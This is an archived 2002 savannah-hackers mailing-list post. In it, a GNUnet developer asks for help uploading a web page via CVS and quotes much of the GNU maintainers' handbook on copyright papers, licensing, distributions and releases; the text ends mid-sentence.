savannah-hackers
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Savannah-hackers] Re: maintain.text


From: Christian Grothoff
Subject: [Savannah-hackers] Re: maintain.text
Date: Tue, 5 Mar 2002 16:13:21 -0500

Hi Brian!

I think I'm turning insane here. I've now tried for 30 minutes to access 
either the webcvs or the normal CVS on savannah/subversions.gnu.org. I tried 
pserver, ssh, with key, with password, various variants of /cvsroot/gnunet,
/cvsroot/GNUnet, /webcvs/software/gnunet, /webcvs/software/GNUnet, 
/webcvs/gnunet, etc. and I am really fed up. 

I just want to upload a simple, plain HTML document, nothing fancy. I don't 
need the GNU cvs for the sources (and I'm currently really happy about that). 
I just want that webpage up. The CVS has disappeared from the options on 
savannah (can't find it). Can you please give me *very* simple and failsafe 
instructions how to upload the webpage, such as:

cvs -d address@hidden:/webcvs checkout gnunet
cd gnunet
mv WEBPAGE welcome.html
cvs add welcome.html
cvs commit -m "message"

I've been setting up several CVS servers, but this guessing game what the 
server on the other hand might look like is kind of new to me...

regards

Christian Grothoff

On Monday 04 March 2002 10:03 am, you wrote:
> Here is the package maintainers' handbook.  You can always find an
> updated copy at http://www.gnu.org/prep/maintain.html.
>
> ------------
>
> START-INFO-DIR-ENTRY
> * Maintaining: (maintain).        Maintaining GNU software.
> END-INFO-DIR-ENTRY
>
> Information for maintainers of GNU software.  Copyright (C) 1992, 1993,
> 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001 Free Software
> Foundation, Inc.
>
> Permission is granted to make and distribute verbatim copies of this
> document, provided the copyright notice and this permission notice are
> preserved on all copies.
>
> Version
> *******
>
> Last updated March  1, 2002.
>
> About This Document
> *******************
>
> This file contains guidelines and advice for someone who is the
> maintainer of a GNU program on behalf of the GNU Project.  Everyone is
> entitled to change and redistribute GNU software; you need not pay
> attention to this file to get permission.  But if you want to maintain a
> version for widespread distribution, we suggest you follow these
> guidelines; if you would like to be a GNU maintainer, then it is
> essential to follow these guidelines.
>
> Please send corrections or suggestions for this document to
> <address@hidden>.  If you make a suggestion, please include a
> suggested new wording for it, to help us consider the suggestion
> efficiently.  We prefer a context diff to the `maintain.texi' file, but
> if you don't have that file, you can make a context diff for some other
> version of this document, or propose it in any way that makes it clear.
>
> This document uses the gender-neutral third-person pronouns "person",
> "per", "pers" and "perself" which were promoted, and perhaps invented,
> by Marge Piercy in `Woman on the Edge of Time'.  They are used just
> like "she", "her", "hers" and "herself", except that they apply equally
> to males and females.  For example, "Person placed per new program
> under the GNU GPL, to let the public benefit from per work, and to
> enable per to feel person has done the right thing."
>
> The directory `/gd/gnuorg' is found on the GNU file server, currently
> `fencepost.gnu.org'; if you are the maintainer of a GNU package, you
> should have an account there.  Contact <address@hidden> if you don't
> have one.  (You can also ask for accounts for people who help you a
> large amount in working on the package.)  `/gd/gnuorg/maintain.tar.gz'
> is a tar file containing all of these files in that directory which are
> mentioned in this file; it is updated daily.
>
> This release of the GNU Maintenance Instructions was last updated
> March  1, 2002.
>
> Stepping Down
> *************
>
> With good fortune, you will continue maintaining your package for many
> decades.  But sometimes for various reasons maintainers decide to step
> down.
>
> If you're the official maintainer of a GNU package and you decide to
> step down, please inform the GNU Project (<address@hidden>).  We
> need to know that the package no longer has a maintainer, so we can
> look for and appoint a new maintainer.
>
> If you have an idea for who should take over, please tell
> <address@hidden> your suggestion.  The appointment of a new
> maintainer needs the GNU Project's confirmation, but your judgment that
> a person is capable of doing the job will carry a lot of weight.
>
> As your final act as maintainer, it would be helpful to set up the
> package under `savannah.gnu.org' (*note Old Versions::).  This will
> make it much easier for the new maintainer to pick up where you left off
> and will ensure that the CVS tree is not misplaced if it takes us a
> while to find a new maintainer.
>
> Recruiting Developers
> *********************
>
> Unless your package is a fairly small, you probably won't do all the
> work on it yourself.  Most maintainers recruit other developers to help.
>
> Sometimes people will offer to help.  Some of them will be capable,
> while others will not.  It's up to you to determine who provides useful
> help, and encourage those people to participate more.
>
> Some of the people who offer to help will support the GNU Project, while
> others may be interested for other reasons.  Some will support the goals
> of the Free Software Movement, but some may not.  They are all welcome
> to help with the work--we don't ask people's views or motivations
> before they contribute to GNU packages.
>
> As a consequence, you cannot expect all contributors to support the GNU
> Project, or to have a concern for its policies and standards.  So part
> of your job as maintainer is to exercise your authority on these points
> when they arise.  No matter how much of the work other people do, you
> and not they are in charge of what goes in the release.  When a crucial
> point arises, you should calmly state your decision and stick to it.
>
> Sometimes a package has several co-maintainers who share the role of
> maintainer.  Unlike developers who help, co-maintainers have actually
> been appointed jointly as the maintainers of the package, and they carry
> out the maintainer's functions together.  If you would like to propose
> some of your developers as co-maintainers, please contact
> <address@hidden>.
>
> Legal Matters
> *************
>
> This chapter describes procedures you should follow for legal reasons
> as you maintain the program, to avoid legal difficulties.
>
> Recording Contributors
> ======================
>
> *Keep correct records of which portions were written by whom.* This is
> very important.
>
> These records should say which files, or parts of files, were written by
> each person, and which files or portions were revised by each person.
>
> But they don't need to be as detailed as a change log.  They don't need
> to distinguish work done at different times, only different people.
> They don't need describe changes in more detail than which files or
> parts of a file were changed.  And they don't need to say anything about
> the function or purpose of a file or change-the Register of Copyrights
> doesn't care what the text does, just who wrote or contributed to which
> parts.
>
> You need not list someone who has contributed just a few lines (less
> than 15) of minor changes, but keep in mind that a series of minor
> changes can add up to a significant contribution that does need to be
> listed.
>
> The list should also mention if certain files distributed in the same
> package are really a separate program.
>
> For example, this would describe an early version of GAS:
>
>      Dean Elsner   first version of all files except gdb-lines.c and
> m68k.c. Jay Fenlason  entire files gdb-lines.c and m68k.c, most of app.c,
> plus extensive changes in messages.c, input-file.c, write.c and revisions
> elsewhere.
>
>      Note: GAS is distributed with the files obstack.c and obstack.h, but
>      they are considered a separate package, not part of GAS proper.
>
> Please keep these records in a file named `AUTHORS' in the source
> directory for the program itself.
>
> Acknowledgements
> ================
>
> Be careful to be clear when giving credit to people that gave good
> ideas, or made important bug reports, or made contributions of less
> than 15 lines of original code overall.
>
> Do not cite people names in change log files unless they made an
> important contributions and we have papers for them (*note Copyright
> Papers::).  If this is the case, it is better to have their name as the
> change log entry author.
>
> When citing people's names in the source code comments, be careful to
> clearly state what is their contribution.  For example, write
>
>      /*
>       * Postscript tag functions
>       * Just look for lines where the first character is '/'
>       * Also look at "defineps" for PSWrap
>       * Ideas by:
>       *   Richard Mlynarik <address@hidden> (1997)
>       *   Masatake Yamato <address@hidden> (1999)
>       */
>
> If you failed to omit the `Ideas by:' text, one day we could have
> serious problems trying to understand what those persons exactly did,
> and we would have to trace them down in order to ask them and be sure
> of the copyright status of the code.
>
> Copyright Papers
> ================
>
> If you maintain an FSF-copyrighted package, then you should follow
> certain legal procedures when incorporating changes written by other
> people.  This ensures that the FSF has the legal right to distribute the
> package, and the right to defend its free status in court if necessary.
>
> *Before* incorporating significant changes, make sure that the person
> who wrote the changes has signed copyright papers and that the Free
> Software Foundation has received and signed them.  We may also need a
> disclaimer from the person's employer.
>
> To check whether papers have been received, look in
> `/gd/gnuorg/copyright.list'.  If you can't look there directly,
> <address@hidden> can check for you.  Our clerk can also check for
> papers that are waiting to be entered and inform you when expected
> papers arrive.
>
> The directory `/gd/gnuorg' is found on the GNU machines; if you are the
> maintainer of a GNU package, you should have an account on them.
> Contact <address@hidden> if you don't have one.  (You can also ask
> for accounts for people who help you a large amount in working on the
> package.)
>
> In order for the contributor to know person should sign papers, you need
> to ask for the necessary papers.  If you don't know per well, and you
> don't know that person is used to our ways of handling copyright papers,
> then it might be a good idea to raise the subject with a message like
> this:
>
>      Would you be willing to assign the copyright to the Free Software
>      Foundation, so that we could install it in PROGRAM?
>
> or
>
>      Would you be willing to sign a copyright disclaimer to put this
>      change in the public domain, so that we can install it in PROGRAM?
>
> If the contributor wants more information, you can send per
> `/gd/gnuorg/conditions.text', which explains per options (assign vs.
> disclaim) and their consequences.
>
> Once the conversation is under way and the contributor is ready for more
> details, you should send one of the templates that are found in
> `/gd/gnuorg'.  This section explains which templates you should use in
> which circumstances.  *Please don't use any of the templates except for
> those listed here, and please don't change the wording.*
>
> Once the conversation is under way, you can send the contributor the
> precise wording and instructions by email.  Before you do this, make
> sure to get the current version of the template you will use!  We change
> these templates occasionally--don't keep using an old version.
>
> For large changes, ask the contributor for an assignment.  Send per a
> copy of the file `/gd/gnuorg/request-assign.changes'.
>
> For medium to small changes, request a disclaimer by sending per the
> file `/gd/gnuorg/request-disclaim.changes'.
>
> If the contributor is likely to keep making changes, person might want
> to sign an assignment for all per future changes to the program.  So it
> is useful to offer per that alternative.  If person wants to do it that
> way, send per the `/gd/gnuorg/request-assign.future'.
>
> When you send a `request-' file, you don't need to fill in anything
> before sending it.  Just send the file verbatim to the contributor.  The
> file gives per instructions for how to ask the FSF to mail per the
> papers to sign.  The `request-' file also raises the issue of getting a
> copyright disclaimer from the contributor's employer.
>
> For less common cases, we have template files you should send to the
> contributor.  Be sure to fill in the name of the person and the name of
> the program in these templates, where it says NAME OF PERSON and NAME OF
> PROGRAM, before sending; otherwise person might sign without noticing
> them, and the papers would be useless.  Note that in some templates
> there is more than one place to put the name of the program or the name
> of the person; be sure to change all of them.  All the templates raise
> the issue of an employer's disclaimer as well.
>
> You do not need to ask for separate papers for a manual that is
> distributed only in the software package it describes.  But if we
> sometimes distribute the manual separately (for instance, if we publish
> it as a book), then we need separate legal papers for changes in the
> manual.  For smaller changes, use `/gd/gnuorg/disclaim.changes.manual';
> for larger ones, use `/gd/gnuorg/assign.changes.manual'.  To cover both
> past and future changes to a manual, you can use
> `/gd/gnuorg/assign.future.manual'.  For a translation of a manual, use
> `/gd/gnuorg/assign.translate.manual'.
>
> If a contributor is reluctant to sign an assignment for a large change,
> and is willing to sign a disclaimer instead, that is acceptable, so you
> should offer this alternative if it helps you reach agreement.  We
> prefer an assignment for a larger change, so that we can enforce the GNU
> GPL for the new text, but a disclaimer is enough to let us use the text.
>
> If you maintain a collection of programs, occasionally someone will
> contribute an entire separate program or manual that should be added to
> the collection.  Then you can use the files `request-assign.program',
> `disclaim.program', `assign.manual', and `disclaim.manual'.  We very
> much prefer an assignment for a new separate program or manual, unless
> it is quite small, but a disclaimer is acceptable if the contributor
> insists on handling the matter that way.
>
> *Although there are other templates besides the ones listed here, they
> are for special circumstances; please do not use them without getting
> advice from <address@hidden>.*
>
> If you are not sure what to do, then please ask <address@hidden> for
> advice; if the contributor asks you questions about the meaning and
> consequences of the legal papers, and you don't know the answers, you
> can forward them to <address@hidden> and we will answer.
>
> *Please do not try changing the wording of a template yourself.  If you
> think a change is needed, please talk with <address@hidden>, and we
> will work with a lawyer to decide what to do.*
>
> Copyright Notices
> =================
>
> You should maintain a legally valid copyright notice and a license
> notice in each nontrivial file in the package.  (Any file more than ten
> lines long is nontrivial for this purpose.)  This includes header files
> and interface definitions, makefiles, scripts, other data files used in
> building or running the program, documentation files, and any supporting
> files.  If a file has been explicitly placed in the public domain, then
> instead of a copyright notice, it should have a notice saying explicitly
> that it is in the public domain.
>
> Even image files and sound files should contain copyright notices and
> license notices, if they can.  Some formats do not have room for textual
> annotations; for these files, state the copyright and copying
> permissions in a README file in the same directory.
>
> Change log files should have a copyright notice and license notice at
> the end, since new material is added at the beginning but the end
> remains the end.
>
> When a file is automatically generated from some other file in the
> distribution, it is useful to copy the copyright notice and permission
> notice of the file it is generated from, if you can.  Alternatively, put
> a notice at the beginning saying which file it is generated from.
>
> A copyright notice looks like this:
>
>      Copyright YEAR1, YEAR2, YEAR3  COPYRIGHT-HOLDER
>
> The COPYRIGHT-HOLDER may be the Free Software Foundation, Inc., or
> someone else; you should know who is the copyright holder for your
> package.
>
> The list of year numbers should include each year in which you finished
> preparing a version which was actually released, and which was an
> ancestor of the current version.
>
> Please reread the paragraph above, slowly and carefully.  It is
> important to understand that rule precisely, much as you would
> understand a complicated C statement in order to hand-simulate it.
>
> This list is _not_ a list of years in which versions were _released_.
> It is a list of years in which versions, later released, were
> _completed_.  So if you finish a version on Dec 31, 1994 and release it
> on Jan 1, 1995, this version requires the inclusion of 1994, but
> doesn't require the inclusion of 1995.
>
> Do not abbreviate the year list using a range; for instance, do not
> write `1996--1998'; instead, write `1996, 1997, 1998'.
>
> The versions that matter, for purposes of this list, are versions that
> were ancestors of the current version.  So if you made a temporary
> branch in maintenance, and worked on branches A and B in parallel, then
> each branch would have its own list of years, which is based on the
> versions released in that branch.  A version in branch A need not be
> reflected in the list of years for branch B, and vice versa.
>
> However, if you copy code from branch A into branch B, the years for
> branch A (or at least, for the parts that you copied into branch B) do
> need to appear in the list in branch B, because now they are ancestors
> of branch B.
>
> This rule is complicated.  If we were in charge of copyright law, we
> would probably change this (as well as many other aspects).
>
> For an FSF-copyrighted package, if you have followed the procedures to
> obtain legal papers, each file should have just one copyright holder:
> the Free Software Foundation, Inc.  So the copyright notice should give
> that name.
>
> But if contributors are not all assigning their copyrights to a single
> copyright holder, it can easily happen that one file has several
> copyright holders.  Each contributor of nontrivial amounts is a
> copyright holder.
>
> In that case, you should always include a copyright notice in the name
> of main copyright holder of the file.  You can also include copyright
> notices for other copyright holders as well, and this is a good idea for
> those who have contributed a large amount and for those who specifically
> ask for notices in their names.  But you don't have to include a notice
> for everyone who contributed to the file, and that would be rather
> inconvenient.
>
> License Notices
> ===============
>
> Every nontrivial file needs a license notice as well as the copyright
> notice.  (Without a license notice giving permission to copy and change
> the file, copying and modification are legally prohibited, and that
> would make the file non-free.)
>
> Typically the license notice for program files (including build scripts,
> configure files and makefiles) should cite the GPL, like this:
>
>      This file is part of GNU PROGRAM
>
>      GNU PROGRAM is free software; you can redistribute it and/or modify
>      it under the terms of the GNU General Public License as published
>      by the Free Software Foundation; either version 2, or (at your
>      option) any later version.
>
>      GNU PROGRAM is distributed in the hope that it will be useful, but
>      WITHOUT ANY WARRANTY; without even the implied warranty of
>      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
>      General Public License for more details.
>
>      You should have received a copy of the GNU General Public License
>      along with PROGRAM; see the file COPYING.  If not, write to the
>      Free Software Foundation, Inc., 59 Temple Place - Suite 330,
>      Boston, MA 02111-1307, USA.
>
> But in a small program which is just a few files, you can use this
> instead:
>
>      This program is free software; you can redistribute it and/or
>      modify it under the terms of the GNU General Public License as
>      published by the Free Software Foundation; either version 2 of the
>      License, or (at your option) any later version.
>
>      This program is distributed in the hope that it will be useful,
>      but WITHOUT ANY WARRANTY; without even the implied warranty of
>      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
>      General Public License for more details.
>
>      You should have received a copy of the GNU General Public License
>      along with this program; if not, write to the Free Software
>      Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
>      02111-1307 USA.
>
> Documentation files should have license notices also.  Manuals should
> use the GNU Free Documentation License.  Here is an example of the
> license notice to use after the copyright notice.  Please adjust the
> list of invariant sections as appropriate for your manual.  (If there
> are none, then say "with no invariant sections".)
>
>      Permission is granted to copy, distribute and/or modify this document
>      under the terms of the GNU Free Documentation License, Version 1.1 or
>      any later version published by the Free Software Foundation; with the
>      Invariant Sections being "GNU General Public License", the Front-Cover
>      texts being (a) (see below), and with the Back-Cover Texts being (b)
>      (see below).  A copy of the license is included in the section
> entitled "GNU Free Documentation License".
>
>      (a) The FSF's Front-Cover Text is:
>
>           A GNU Manual
>
>      (b) The FSF's Back-Cover Text is:
>
>           You have freedom to copy and modify this GNU Manual, like GNU
>           software.  Copies published by the Free Software Foundation raise
>           funds for GNU development.
>
>      You should have received a copy of the GNU Free Documentation License
>      along with PROGRAM; see the file COPYING.DOC.  If not, write to
>      the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
> Boston, MA 02111-1307, USA.
>
> If the FSF does not publish this manual on paper, then omit the last
> sentence in (b) that talks about copies published by the FSF.  If the
> FSF is not the copyright holder, then replace `FSF' with the
> appropriate name.
>
> See <http://www.gnu.org/licenses/fdl-howto.html> for more advice about
> how to use the GNU FDL.
>
> If the manual is over 400 pages, or if the FSF thinks it might be a good
> choice for publishing on paper, then please include our standard
> invariant section which explains the importance of free documentation.
> Write to <address@hidden> to get a copy of this section.
>
> Note that when you distribute several manuals together in one software
> package, their on-line forms can share a single copy of the GFDL (see
> section 6).  However, the printed (`.dvi') forms should each contain a
> copy of the GFDL, unless they are set up to be printed and published
> only together.
>
> Small supporting files, short manuals (under 300 lines long) and rough
> documentation (README files, INSTALL files, etc) can use simple
> all-permissive licenses.
>
> If you would like help with license issues or with using the GFDL,
> please contact <address@hidden>.
>
> External Libraries
> ==================
>
> When maintaining an FSF-copyrighted GNU package, sometimes you will want
> to use a general-purpose free software module which offers a useful
> functionality, as a "library" facility (though the module is not always
> packaged technically as a library).
>
> In a case like this, it would be unreasonable to ask the author of that
> module to assign the copyright to the FSF.  After all, person did not
> write it specifically as a contribution to your package, so it would be
> impertinent to ask per, out of the blue, "Please give the FSF your
> copyright."
>
> So the thing to do in this case is to make your program use the module,
> but not consider it a part of your program.  There are two reasonable
> methods of doing this:
>
>   1. Assume the module is already installed on the system, and use it
>      when linking your program.  This is only reasonable if the module
>      really has the form of a library.
>
>   2. Include the module in your package, putting the source in a
>      separate subdirectory whose `README' file says, "This is not part
>      of the GNU FOO program, but is used with GNU FOO."  Then set up
>      your makefiles to build this module and link it into the
>      executable.
>
>      For this method, it is not necessary to treat the module as a
>      library and make a `.a' file from it.  You can link with the `.o'
>      files directly in the usual manner.
>
> Both of these methods create an irregularity, and our lawyers have told
> us to minimize the amount of such irregularity.  So consider using these
> methods only for general-purpose modules that were written for other
> programs and released separately for general use.  For anything that was
> written as a contribution to your package, please get papers signed.
>
> Cleaning Up Changes
> *******************
>
> Don't feel obligated to include every change that someone asks you to
> include.  You must judge which changes are improvements--partly based
> on what you think the users will like, and partly based on your own
> judgement of what is an improverment.  If you think a change is not
> good, you should reject it.
>
> If someone sends you changes which are useful, but written in an ugly
> way or hard to understand and maintain in the future, don't hesitate to
> ask person to clean up per changes before you merge them.  Since the
> amount of work we can do is limited, the more we convince others to help
> us work efficiently, the faster GNU will advance.
>
> If the contributor will not or can not make the changes clean enough,
> then it is legitimate to say "I can't install this in its present form;
> I can only do so if you clean it up."  Invite per to distribute per
> changes another way, or to find other people to make them clean enough
> for you to install and maintain.
>
> The only reason to do these cleanups yourself is if (1) it is easy, less
> work than telling the author what to clean up, or (2) the change is an
> important one, important enough to be worth the work of cleaning it up.
>
> The GNU Coding Standards are a good thing to send people when you ask
> them to clean up changes (*note Contents: (standards)Top.).  The Emacs
> Lisp manual contains an appendix that gives coding standards for Emacs
> Lisp programs; it is good to urge authors to read it (*note Tips and
> Standards: (elisp)Tips.).
>
> Platforms to Support
> ********************
>
> Most GNU packages run on a wide range of platforms.  These platforms are
> not equally important.
>
> The most important platforms for a GNU package to support are GNU and
> GNU/Linux.  Developing the GNU operating system is the whole point of
> the GNU Project; a GNU package exists to make the whole GNU system more
> powerful.  So please keep that goal in mind and let it shape your work.
> For instance, every new feature you add should work on GNU, and
> GNU/Linux if possible too.  If a new feature only runs on GNU and
> GNU/Linux, it could still be acceptable.  However, a feature that runs
> only on other systems and not on GNU or GNU/Linux makes no sense in a
> GNU package.
>
> You will naturally want to keep the program running on all the platforms
> it supports.  But you personally will not have access to most of these
> platforms-so how should you do it?
>
> Don't worry about trying to get access to all of these platforms.  Even
> if you did have access to all the platforms, it would be inefficient for
> you to test the program on each platform yourself.  Instead, you should
> test the program on a few platforms, including GNU or GNU/Linux, and let
> the users test it on the other platforms.  You can do this through a
> pretest phase before the real release; when there is no reason to expect
> problems, in a package that is mostly portable, you can just make a
> release and let the users tell you if anything unportable was
> introduced.
>
> It is important to test the program personally on GNU or GNU/Linux,
> because these are the most important platforms for a GNU package.  If
> you don't have access to one of these platforms, please ask
> <address@hidden> to help you out.
>
> Supporting other platforms is optional--we do it when that seems like a
> good idea, but we don't consider it obligatory.  If the users don't take
> care of a certain platform, you may have to desupport it unless and
> until users come forward to help.  Conversely, if a user offers changes
> to support an additional platform, you will probably want to install
> them, but you don't have to.  If you feel the changes are complex and
> ugly, if you think that they will increase the burden of future
> maintenance, you can and should reject them.
>
> Dealing With Mail
> *****************
>
> Once a program is in use, you will get bug reports for it.  Most GNU
> programs have their own special lists for sending bug reports.  The
> advertised bug-reporting email address should always be
> address@hidden', to help show users that the program is a GNU
> package, but it is ok to set up that list to forward to another site
> for further forwarding.  The package distribution should state the name
> of the bug-reporting list in a prominent place, and ask users to help
> us by reporting bugs there.
>
> We also have a catch-all list, <address@hidden>, which is used
> for all GNU programs that don't have their own specific lists.  But
> nowadays we want to give each program its own bug-reporting list and
> move away from using <bug-gnu-utils>.
>
> If you are the maintainer of a GNU package, you should have an account
> on the GNU servers; contact <address@hidden> if you don't have one.
> (You can also ask for accounts for people who help you a large amount
> in working on the package.)  With this account, you can edit
> `/com/mailer/aliases' to create a new unmanaged list or add yourself to
> an existing unmanaged list.  A comment near the beginning of that file
> explains how to create a Mailman-managed mailing list.
>
> But if you don't want to learn how to do those things, you can
> alternatively ask <address@hidden> to add you to the bug-reporting
> list for your program.  To set up a new list, contact
> <address@hidden>.  You can subscribe to a list managed by
> Mailman by sending mail to the corresponding `-request' address.
>
> When you receive bug reports, keep in mind that bug reports are crucial
> for your work.  If you don't know about problems, you cannot fix them.
> So always thank each person who sends a bug report.
>
> You don't have an obligation to give more response than that, though.
> The main purpose of bug reports is to help you contribute to the
> community by improving the next version of the program.  Many of the
> people who report bugs don't realize this--they think that the point is
> for you to help them individually.  Some will ask you to focus on that
> _instead of_ on making the program better.  If you comply with their
> wishes, you will have been distracted from the job of maintaining the
> program.
>
> For example, people sometimes report a bug in a vague (and therefore
> useless) way, and when you ask for more information, they say, "I just
> wanted to see if you already knew the solution" (in which case the bug
> report would do nothing to help improve the program).  When this
> happens, you should explain to them the real purpose of bug reports.  (A
> canned explanation will make this more efficient.)
>
> When people ask you to put your time into helping them use the program,
> it may seem "helpful" to do what they ask.  But it is much _less_
> helpful than improving the program, which is the maintainer's real job.
>
> By all means help individual users when you feel like it, if you feel
> you have the time available.  But be careful to limit the amount of time
> you spend doing this--don't let it eat away the time you need to
> maintain the program!  Know how to say no; when you are pressed for
> time, just "thanks for the bug report--I will fix it" is enough
> response.
>
> Some GNU packages, such as Emacs and GCC, come with advice about how to
> make bug reports useful.  If you want to copy and adapt that, it could
> be a very useful thing to do.
>
> Recording Old Versions
> **********************
>
> It is very important to keep backup files of all source files of GNU.
> You can do this using RCS, CVS or PRCS if you like.  The easiest way to
> use RCS or CVS is via the Version Control library in Emacs; *Note
> Concepts of Version Control: (emacs)Concepts of VC.
>
> The history of previous revisions and log entries is very important for
> future maintainers of the package, so even if you do not make it
> publicly accessible, be careful not to put anything in the repository or
> change log that you would not want to hand over to another maintainer
> some day.
>
> The GNU Project provides a CVS server that GNU software packages can
> use: `subversions.gnu.org'.  (The name refers to the multiple versions
> and their subversions that are stored in a CVS repository.)  You don't
> have to use this repository, but if you plan to allow public read-only
> access to your development sources, it is convenient for people to be
> able to find various GNU packages in a central place.  The CVS Server
> is managed by <address@hidden>.
>
> The GNU project also provides additional developer resources on
> `subversions.gnu.org' through its `savannah.gnu.org' interface.  All
> GNU maintainers are encouraged to take advantage of these facilities,
> as `savannah' can serve to foster a sense of community among all GNU
> developers and help in keeping up with project management.
>
> Distributions
> *************
>
> It is important to follow the GNU conventions when making GNU software
> distributions.
>
> Distribution tar Files
> ======================
>
> The tar file for version M.N of program `foo' should be named
> `foo-M.N.tar'.  It should unpack into a subdirectory named `foo-M.N'.
> Tar files should not unpack into files in the current directory,
> because this is inconvenient if the user happens to unpack into a
> directory with other files in it.
>
> Here is how the `Makefile' for Bison creates the tar file.  This method
> is good for other programs.
>
>      dist: bison.info
>              echo bison-`sed -e '/version_string/!d' \
>                -e 's/[^0-9.]*\([0-9.]*\).*/\1/' -e q version.c` > .fname
>              -rm -rf `cat .fname`
>              mkdir `cat .fname`
>              dst=`cat .fname`; for f in $(DISTFILES); do \
>                 ln $(srcdir)/$$f $$dst/$$f || { echo copying $$f; \
>                   cp -p $(srcdir)/$$f $$dst/$$f ; } \
>              done
>              tar --gzip -chf `cat .fname`.tar.gz `cat .fname`
>              -rm -rf `cat .fname` .fname
>
> Source files that are symbolic links to other file systems cannot be
> installed in the temporary directory using `ln', so use `cp' if `ln'
> fails.
>
> Using Automake is a good way to take care of writing the `dist' target.
>
> Distribution Patches
> ====================
>
> If the program is large, it is useful to make a set of diffs for each
> release, against the previous important release.
>
> At the front of the set of diffs, put a short explanation of which
> version this is for and which previous version it is relative to.  Also
> explain what else people need to do to update the sources properly (for
> example, delete or rename certain files before installing the diffs).
>
> The purpose of having diffs is that they are small.  To keep them
> small, exclude files that the user can easily update.  For example,
> exclude info files, DVI files, tags tables, output files of Bison or
> Flex.  In Emacs diffs, we exclude compiled Lisp files, leaving it up to
> the installer to recompile the patched sources.
>
> When you make the diffs, each version should be in a directory suitably
> named--for example, `gcc-2.3.2' and `gcc-2.3.3'.  This way, it will be
> very clear from the diffs themselves which version is which.
>
> If you use GNU `diff' to make the patch, use the options `-rc2P'.  That
> will put any new files into the output as "entirely different."  Also,
> the patch's context diff headers should have dates and times in
> Universal Time using traditional Unix format, so that patch recipients
> can use GNU `patch''s `-Z' option.  For example, you could use the
> following Bourne shell command to create the patch:
>
>      LC_ALL=C TZ=UTC0 diff -rc2P gcc-2.3.2 gcc-2.3.3 | \
>      gzip -9 >gcc-2.3.2-2.3.3.patch.gz
>
> If the distribution has subdirectories in it, then the diffs probably
> include some files in the subdirectories.  To help users install such
> patches reliably, give them precise directions for how to run patch.
> For example, say this:
>
>      To apply these patches, cd to the main directory of the program
>      and then use `patch -p1'.   `-p1' avoids guesswork in choosing
>      which subdirectory to find each file in.
>
> It's wise to test your patch by applying it to a copy of the old
> version, and checking that the result exactly matches the new version.
>
> Distribution on `ftp.gnu.org'
> =============================
>
> GNU packages are distributed through directory `/gnu' on `ftp.gnu.org'.
> Each package should have a subdirectory named after the package, and
> all the distribution files for the package should go in that
> subdirectory.
>
> Only the latest version of any program needs to be on `ftp.gnu.org'.
> Being an archive of old versions is not the function of `ftp.gnu.org'.
>
> Diffs are another matter.  Since they are much smaller than
> distribution files, it is good to keep the diffs around for quite a
> while.
>
> Please talk with <address@hidden> in regard to putting new versions
> on `ftp.gnu.org'.
>
> If you have an interest in seeing the monthly download logs from the FTP
> site at `ftp.gnu.org' for your program, that is something that
> <address@hidden> can set up for you.  Please contact them if you
> are interested.
>
> Test Releases
> =============
>
> When you release a greatly changed new major version of a program, you
> might want to do so as a pretest.  This means that you make a tar file,
> but send it only to a group of volunteers that you have recruited.  (Use
> a suitable GNU mailing list/newsgroup to recruit them.)  We normally use
> the FTP server `alpha.gnu.org' for pretests and prerelease versions.
> You can place items on `alpha.gnu.org' by putting them in the
> `~ftp/gnu' directory on `fencepost.gnu.org'.
>
> Once a program gets to be widely used and people expect it to work
> solidly, it is a good idea to do pretest releases before each "real"
> release.
>
> If you are about to release version 4.6 but you want to do a pretest
> first, call it 4.5.90.  If you need a second pretest, call it 4.5.91,
> and so on.  If you are really unlucky and ten pretests are not enough,
> after 4.5.99 you could advance to 4.5.990 and so on.
>
> One thing that you should never do is to release a pretest with the same
> version number as the planned real release.  Many people will look only
> at the version number (in the tar file name, in the directory name that
> it unpacks into, or wherever they can find it) to determine whether a
> tar file is the latest version.  People might look at the test release
> in this way and mistake it for the real release.  Therefore, always
> change the number when you release changed code.
>
> Announcing Releases
> *******************
>
> When you have a new release, please make an announcement.  You can
> maintain your own mailing list for announcements if you like, or you can
> use the moderated general GNU announcements list, <address@hidden>.
>
> If you use your own list, you can decide as you see fit what events are
> worth announcing.  If you use <address@hidden>, please do not
> announce pretest releases, only real releases.  But real releases do
> include releases made just to fix bugs.
>
> Web Pages
> *********
>
> Please write pages about your package for installation `www.gnu.org'.
> The pages should follow our usual standards for web pages (see
> <http://www.gnu.org/server>); we chose them in order to support a wide
> variety of browsers, to focus on information rather than flashy eye
> candy, and to keep the site simple and uniform.
>
> The simplest way to maintain the web pages for your project is to
> register the project on `savannah.gnu.org'.  Then you can edit the
> pages using CVS.  You can keep the source files there too, but if you
> want to use `savannah.gnu.org' only for the web pages, simply register
> a "web-only" project.
>
> If you don't want to use that method, please talk with
> <address@hidden> about other possible methods.  For instance, you
> can mail them pages to install, if necessary.  But that is more work
> for them, so please use CVS if you can.
>
> Some GNU packages have just simple web pages, but the more information
> you provide, the better.  So please write as much as you usefully can,
> and put all of it on `www.gnu.org'.  However, pages that access
> databases (such as mail logs or bug tracking) are an exception; set them
> up wherever is convenient for you, and the pages on `www.gnu.org' can
> link to them.
>
> Web pages for GNU packages should not include GIF images, since the GNU
> project avoids GIFs due to patent problems.  *Note Ethical and
> Philosophical Consideration::.
>
> Ethical and Philosophical Consideration
> ***************************************
>
> The GNU project takes a strong stand for software freedom.  Many times,
> this means you'll need to avoid certain technologies when such
> technologies conflict with our ethics of software freedom.
>
> Software patents threaten the advancement of free software and freedom
> to program.  For our safety (which includes yours), we try to avoid
> using algorithms and techniques that we know are patented in the US or
> elsewhere, unless the patent looks so absurd that we doubt it will be
> enforced, or we have a suitable patent license allowing release of free
> software.
>
> Beyond that, sometimes the GNU project takes a strong stand against a
> particular patented technology in order to encourage everyone to reject
> it.
>
> For example, the GIF file format is covered by the LZW software patent
> in the USA.  A patent holder has threatened lawsuits against not only
> developers of software to produce GIFs, but even web sites that contain
> them.
>
> For this reason, you should not include GIFs in the web pages for your
> package, nor in the distribution of the package itself.  It is ok for a
> GNU package to support displaying GIFs which will come into play if a
> user asks it to operate on one.  However, it is essential to provide
> equal or better support for the competing PNG and JPG
> formats--otherwise, the GNU package would be _pressuring_ users to use
